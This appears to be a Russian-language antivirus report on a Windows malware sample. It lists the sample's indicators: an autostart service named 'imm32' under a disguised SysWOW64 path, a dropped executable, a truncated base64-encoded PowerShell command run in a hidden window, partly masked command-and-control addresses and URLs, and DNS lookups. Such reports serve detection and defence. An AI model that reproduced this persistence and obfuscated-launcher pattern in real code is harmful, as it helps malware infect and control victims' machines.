Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\imm32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\imm32] 'ImagePath' = '"%WINDIR%\SysWOW64\auditpolmsg\imm32.exe"'
- 'imm32' "%WINDIR%\SysWOW64\auditpolmsg\imm32.exe"
- 'imm32' %WINDIR%\SysWOW64\auditpolmsg\imm32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABkAGkAaABkAG8AbwBxAHUAPQAnAGcAbwBlAGYAdgBlAHUAcgBwAG8AbwByAHgAbwBpAHQAaAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AGAAUgBJAGAAVABZAHAAUgBgAE...
- %HOMEPATH%\393.exe
- %WINDIR%\syswow64\auditpolmsg\imm32.exe
- %HOMEPATH%\393.exe в %WINDIR%\syswow64\auditpolmsg\imm32.exe
- '20#.#12.78.182':80
- '74.##7.230.187':8080
- http://z-####company.com/cgi-bin/Bn2bet3uy9384/
- http://74.###.230.187:8080/eR8t4eiXNBVgthVj/6D3jBKNxEX/dVBwzmKW1tvCR7MNY/XWSmJJ74BTeOUKRp9/PZjmw51dL5gJNJj/ via 74.##7.230.187
- DNS ASK ad###box.com
- DNS ASK dn####lutions.com
- DNS ASK z-####company.com
- '%HOMEPATH%\393.exe'
- '%WINDIR%\syswow64\auditpolmsg\imm32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABkAGkAaABkAG8AbwBxAHUAPQAnAGcAbwBlAGYAdgBlAHUAcgBwAG8AbwByAHgAbwBpAHQAaAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwB1AGAAUgBJAGAAVABZAHAAUgBgAE...' (со скрытым окном)